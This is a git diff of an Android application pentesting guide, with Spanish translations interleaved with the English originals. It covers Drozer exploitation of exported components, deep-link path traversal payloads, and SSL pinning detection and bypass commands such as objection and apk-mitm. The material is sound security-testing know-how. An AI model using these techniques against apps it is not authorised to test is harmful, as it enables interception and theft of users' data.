With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
Una aplicación puede contener secretos (API keys, contraseñas, URLs ocultas, subdominios...) dentro de ella que podrías llegar a descubrir. Podrías usar una herramienta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -216,7 +216,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Other interesting functions
|
||||
### Otras funciones interesantes
|
||||
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
@ -234,47 +234,47 @@ content-protocol.md
|
||||
|
||||
---
|
||||
|
||||
## Dynamic Analysis
|
||||
## Análisis dinámico
|
||||
|
||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
|
||||
|
||||
### Online Dynamic analysis
|
||||
### Análisis dinámico en línea
|
||||
|
||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk.
|
||||
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
Incluso puedes **ver los logs de tu aplicación** en la web y conectarte mediante **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
||||
Gracias a la conexión ADB puedes usar **Drozer** y **Frida** dentro de los emuladores.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
### Análisis dinámico local
|
||||
|
||||
#### Using an emulator
|
||||
#### Uso de un emulador
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||
- Learn to set it up in this page:
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**esto** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**las últimas versiones x86** **soportan bibliotecas ARM** sin necesitar un emulador ARM lento).
|
||||
- Aprende a configurarlo en esta página:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(**Versión gratuita:** Personal Edition, necesitas crear una cuenta. _Se recomienda **descargar** la versión **CON**_ _**VirtualBox** para evitar posibles errores._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratis, pero no soporta Frida o Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
> Cuando crees un nuevo emulador en cualquier plataforma recuerda que cuanto más grande sea la pantalla, más lento será el emulador. Así que selecciona pantallas pequeñas si es posible.
|
||||
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
Para **instalar google services** (como AppStore) en Genymotion necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
|
||||
|
||||
.png>)
|
||||
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
Además, fíjate que en la **configuración de la VM Android en Genymotion** puedes seleccionar **Bridge Network mode** (esto será útil si vas a conectarte a la VM Android desde una VM diferente con las herramientas).
|
||||
|
||||
#### Use a physical device
|
||||
#### Usa un dispositivo físico
|
||||
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
Necesitas activar las opciones de **debugging** y sería ideal si puedes **rootearlo**:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
@ -289,102 +289,102 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
**Logging**
|
||||
|
||||
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
|
||||
Los desarrolladores deben tener cuidado al exponer información de **debugging** públicamente, ya que puede conducir a data leaks sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorizar los logs de la aplicación e identificar y proteger información sensible. **Pidcat** se prefiere por su facilidad de uso y legibilidad.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
> Anyway, it's still recommended to **not log sensitive information**.
|
||||
> Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios logs**. Por lo tanto, las aplicaciones no pueden acceder a los logs de otras apps.\
|
||||
> De todos modos, sigue siendo recomendable **no registrar información sensible**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
**Caché del portapapeles (Copy/Paste Buffer Caching)**
|
||||
|
||||
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
|
||||
El framework basado en **clipboard** de Android permite la funcionalidad de copiar-pegar en las apps, pero entraña un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** en secciones sensibles de una aplicación, como los datos de tarjetas de crédito, para prevenir data leaks.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
|
||||
Si una aplicación **crashea** y **guarda logs**, estos logs pueden ayudar a los atacantes, especialmente cuando la aplicación no puede ser reverse-engineered. Para mitigar este riesgo, evita loggear en crashs, y si los logs deben transmitirse por la red, asegúrate de enviarlos vía un canal SSL para seguridad.
|
||||
|
||||
As pentester, **try to take a look to these logs**.
|
||||
Como pentester, **intenta echar un vistazo a estos logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
|
||||
Las aplicaciones frecuentemente integran servicios como Google Adsense, lo que puede involuntariamente provocar data leaks debido a una implementación incorrecta por parte de los desarrolladores. Para identificar fugas potenciales de datos, es aconsejable **interceptar el tráfico de la aplicación** y comprobar si se está enviando información sensible a servicios de terceros.
|
||||
|
||||
### SQLite DBs
|
||||
### Bases de datos SQLite
|
||||
|
||||
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
|
||||
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
|
||||
La mayoría de las aplicaciones usan **bases de datos SQLite internas** para guardar información. Durante el pentest revisa las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
|
||||
Las bases de datos deberían ubicarse en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
Si la base de datos guarda información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**.
|
||||
|
||||
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
|
||||
Enumera las tablas usando `.tables` y enumera las columnas de las tablas con `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una app Android** e interactuar con otras apps. Puede hacer **cualquier cosa que una aplicación instalada pueda hacer**, como hacer uso del mecanismo de Inter-Process Communication (IPC) de Android e interactuar con el sistema operativo subyacente.\
|
||||
Drozer es una herramienta útil para **explotar activities exportadas, servicios exportados y Content Providers** como aprenderás en las siguientes secciones.
|
||||
|
||||
### Exploiting exported Activities
|
||||
### Explotando Activities exportadas
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
También recuerda que el código de una activity empieza en el método **`onCreate`**.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
Cuando una Activity está exportada puedes invocar su pantalla desde una app externa. Por lo tanto, si una activity con **información sensible** está **exportada** podrías **burlar** los mecanismos de **autenticación** para acceder a ella.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
You can also start an exported activity from adb:
|
||||
También puedes iniciar una activity exportada desde adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (API versions < 21).
|
||||
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que an authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funcione el bypass y qué información se exponga.
|
||||
> Ten en cuenta que un authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funcione el bypass y qué información se exponga.
|
||||
|
||||
**Filtración de información sensible**
|
||||
**Sensitive information leakage**
|
||||
|
||||
**Las actividades también pueden devolver resultados**. Si logras encontrar una actividad exportada y sin protección que invoque el método **`setResult`** y **devuelva información sensible**, existe una filtración de información sensible.
|
||||
**Activities can also return results**. Si logras encontrar una activity exportada y sin protección que llame al método **`setResult`** y **devuelva información sensible**, se produce una sensitive information leakage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Si no se previene el tapjacking, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Si Tapjacking no está prevenido, podrías abusar de la activity exportada para hacer que el **usuario realice acciones inesperadas**. Para más info sobre [**what is Tapjacking follow the link**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Los content providers se usan básicamente para **compartir datos**. Si una app tiene content providers disponibles, podrías **extraer datos sensibles** de ellos. También es interesante probar posibles **SQL injections** y **Path Traversals**, ya que podrían ser vulnerables.
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)
|
||||
Content providers are basically used to **share data**. Si una app tiene content providers disponibles, podrías ser capaz de **extraer datos sensibles** de ellos. También es interesante probar posibles **SQL injections** y **Path Traversals** ya que podrían ser vulnerables.
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)
|
||||
Recuerda que las acciones de un Service comienzan en el método `onStartCommand`.
|
||||
|
||||
Un service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios deberías **revisar** el **código** para entender qué hace y **probarlo** **dinámicamente** para extraer información confidencial, bypassing authentication measures...\
|
||||
Un Service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación exporta servicios deberías **revisar** el **código** para entender qué hace y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)
|
||||
Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`.
|
||||
|
||||
Un broadcast receiver esperará un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.\
|
||||
Un broadcast receiver esperará un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).
|
||||
Puedes **abrir** un **scheme** declarado usando **adb** o un **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Ten en cuenta que puedes **omitir el nombre del paquete** y el dispositivo móvil llamará automáticamente a la app que debería abrir ese enlace._
|
||||
_Nota que puedes **omitir el nombre del paquete** y el móvil llamará automáticamente a la app que debería abrir ese enlace._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -393,56 +393,54 @@ _Ten en cuenta que puedes **omitir el nombre del paquete** y el dispositivo móv
|
||||
```
|
||||
**Código ejecutado**
|
||||
|
||||
Para encontrar el **código que se ejecutará en la App**, ve a la actividad llamada por el deeplink y busca la función **`onNewIntent`**.
|
||||
Para encontrar el **código que se ejecutará en la App**, ve a la activity llamada por el deeplink y busca la función **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Información sensible**
|
||||
|
||||
Cada vez que encuentres un deep link verifica que **no reciba datos sensibles (como contraseñas) vía parámetros URL**, porque cualquier otra aplicación podría **suplantar el deep link y robar esos datos!**
|
||||
Cada vez que encuentres un deep link verifica que **no esté recibiendo datos sensibles (como contraseñas) vía parámetros de URL**, porque cualquier otra aplicación podría **suplantar el deep link y robar esos datos!**
|
||||
|
||||
**Parámetros en la ruta**
|
||||
**Parámetros en el path**
|
||||
|
||||
También **debes comprobar si algún deep link está usando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}` , en ese caso puedes forzar un path traversal accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación podrías provocar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **account takeover** (si puedes modificar detalles de usuarios sin token CSRF y el vuln endpoint usa el método correcto) y cualquier otra vuln. Más [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
También **debes comprobar si algún deep link está usando un parámetro dentro del path** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un path traversal accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación podrías causar un **Open Redirect** (si parte del path se usa como nombre de dominio), **account takeover** (si puedes modificar detalles de usuarios sin token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vuln. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Más ejemplos**
|
||||
|
||||
Un [interesante informe de bug bounty](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Inspección de la capa de transporte y fallos de verificación
|
||||
|
||||
- **Los certificados no siempre se inspeccionan correctamente** en las aplicaciones Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
|
||||
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace la conexión susceptible a ataques man-in-the-middle (MITM), permitiendo a los atacantes descifrar los datos.
|
||||
- **Divulgación de información privada** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego comunican por canales no seguros para otras transacciones. Este enfoque no protege datos sensibles, como cookies de sesión o detalles de usuario, de la intercepción por actores maliciosos.
|
||||
- **Los certificados no siempre son verificados correctamente** por las aplicaciones Android. Es común que estas aplicaciones omitan advertencias y acepten certificados self-signed o, en algunos casos, vuelvan a usar conexiones HTTP.
|
||||
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace la conexión susceptible a ataques MITM, permitiendo a un atacante descifrar los datos.
|
||||
- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego comunican otras transacciones por canales no seguros. Este enfoque no protege datos sensibles, como cookies de sesión o detalles de usuario, frente a la intercepción por actores maliciosos.
|
||||
|
||||
#### Verificación de certificados
|
||||
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden suponer riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y corregir vulnerabilidades, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) ofrece una guía completa.
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden suponer riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y mitigar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) ofrece una guía completa.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor contra una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning en aplicaciones que manejen información sensible.
|
||||
SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor frente a una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda implementar SSL Pinning en aplicaciones que manejan información sensible.
|
||||
|
||||
#### Inspección de Tráfico
|
||||
#### Inspección de tráfico
|
||||
|
||||
Para inspeccionar tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (p.ej., Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspeccionar tráfico HTTP es necesario **instalar el certificado del proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Las aplicaciones dirigidas a **API Level 24 and above** requieren modificaciones en la Network Security Config para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico cifrado. Para instrucciones sobre cómo modificar la Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Las aplicaciones dirigidas a **API Level 24 and above** requieren modificaciones en el Network Security Config para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico cifrado. Para instrucciones sobre cómo modificar el Network Security Config, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Si se está usando **Flutter**, debes seguir las instrucciones en [**this page**](flutter.md). Esto se debe a que, simplemente añadir el certificado al almacén no funcionará ya que Flutter tiene su propia lista de CAs válidas.
|
||||
Si se está usando **Flutter** debes seguir las instrucciones en [**esta página**](flutter.md). Esto se debe a que, simplemente añadiendo el certificado al store no funcionará ya que Flutter tiene su propia lista de CAs válidas.
|
||||
|
||||
#### Detección estática de SSL/TLS pinning
|
||||
|
||||
Antes de intentar bypasses en tiempo de ejecución, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planificar hooks/patches y enfocarte en las rutas de código correctas.
|
||||
Antes de intentar bypasses en tiempo de ejecución, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planificar hooks/patches y a centrarte en las rutas de código correctas.
|
||||
|
||||
Herramienta: SSLPinDetect
|
||||
- Utilidad de análisis estático de código abierto que decompila el APK a Smali (via apktool) y escanea patrones regex curados de implementaciones de SSL/TLS pinning.
|
||||
- Reporta la ruta de archivo exacta, número de línea y un snippet de código para cada coincidencia.
|
||||
- Cubre frameworks comunes y rutas de código personalizadas: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, y Network Security Config XML pins.
|
||||
Tool: SSLPinDetect
|
||||
- Utilidad open-source de análisis estático que descompila el APK a Smali (vía apktool) y escanea patrones regex curados de implementaciones de SSL/TLS pinning.
|
||||
- Reporta la ruta exacta del archivo, número de línea y un snippet de código para cada coincidencia.
|
||||
- Cubre frameworks comunes y rutas de código personalizadas: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con TrustManagers/KeyManagers personalizados, y pins en Network Security Config XML.
|
||||
|
||||
Install
|
||||
- Prerrequisitos: Python >= 3.8, Java en PATH, apktool
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
@ -457,7 +455,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Ejemplo de reglas de patrones (JSON)
|
||||
Usa o amplía signatures para detectar estilos propietarios/personalizados de pinning. Puedes cargar tu propio JSON y escanear a gran escala.
|
||||
Utiliza o amplía signatures para detectar estilos de pinning propietarios/personalizados. Puedes cargar tu propio JSON y escanear a gran escala.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -471,42 +469,42 @@ Usa o amplía signatures para detectar estilos propietarios/personalizados de pi
|
||||
]
|
||||
}
|
||||
```
|
||||
Notas y consejos
|
||||
- Escaneo rápido de aplicaciones grandes mediante multi-threading y memory-mapped I/O; el uso de regex precompiladas reduce la sobrecarga/falsos positivos.
|
||||
- Colección de patrones: https://github.com/aancw/smali-sslpin-patterns
|
||||
Notes and tips
|
||||
- Escaneo rápido en aplicaciones grandes mediante multi-threading y memory-mapped I/O; las regex precompiladas reducen la sobrecarga y los falsos positivos.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Objetivos típicos de detección para priorizar a continuación:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- OkHttp: uso de CertificatePinner, setCertificatePinner, referencias al paquete okhttp3/okhttp
|
||||
- TrustManagers personalizados: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted
|
||||
- Contextos SSL personalizados: SSLContext.getInstance + SSLContext.init con managers personalizados
|
||||
- Pins declarativos en res/xml network security config y referencias en el manifest
|
||||
- Usa las ubicaciones coincidentes para planear Frida hooks, parches estáticos o revisiones de configuración antes de pruebas dinámicas.
|
||||
- Usa las ubicaciones coincidentes para planear Frida hooks, parches estáticos o revisiones de configuración antes de las pruebas dinámicas.
|
||||
|
||||
|
||||
|
||||
#### Eludir SSL Pinning
|
||||
#### Evasión de SSL Pinning
|
||||
|
||||
Cuando SSL Pinning está implementado, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos para ello:
|
||||
Cuando se implementa SSL Pinning, es necesario evadirlo para inspeccionar el tráfico HTTPS. Existen varios métodos para este propósito:
|
||||
|
||||
- Modificar automáticamente el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mayor ventaja de esta opción es que no necesitarás root para eludir SSL Pinning, pero tendrás que eliminar la aplicación e instalar la nueva, y esto no siempre funciona.
|
||||
- Puedes usar **Frida** (discutida más abajo) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando **MobSF dynamic analysis** (explicado más abajo)
|
||||
- Si aún crees que hay tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automáticamente **modifica** el **apk** para **evadir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mayor ventaja de esta opción es que no necesitarás root para evadir el SSL Pinning, pero tendrás que borrar la aplicación e instalar la nueva, y esto no siempre funcionará.
|
||||
- Puedes usar **Frida** (visto abajo) para evadir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- También puedes intentar **evadir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- También puedes intentar **evadir automáticamente SSL Pinning** usando el análisis dinámico de **MobSF** (explicado abajo)
|
||||
- Si aún crees que hay tráfico que no estás capturando, puedes intentar reenviar el tráfico a Burp usando iptables. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Buscar vulnerabilidades web comunes
|
||||
#### Buscando vulnerabilidades web comunes
|
||||
|
||||
También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificarlas y mitigarlas excede el alcance de este resumen, pero está ampliamente cubierta en otros lugares.
|
||||
También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificarlas y mitigarlas excede el alcance de este resumen pero está ampliamente cubierta en otros lugares.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) es un toolkit de instrumentación dinámica para desarrolladores, ingenieros inversos e investigadores de seguridad.\
|
||||
**Puedes acceder a la aplicación en ejecución e interceptar métodos en tiempo de ejecución para cambiar el comportamiento, modificar valores, extraer valores, ejecutar código diferente...**\
|
||||
Si quieres realizar pentesting de aplicaciones Android necesitas saber cómo usar Frida.
|
||||
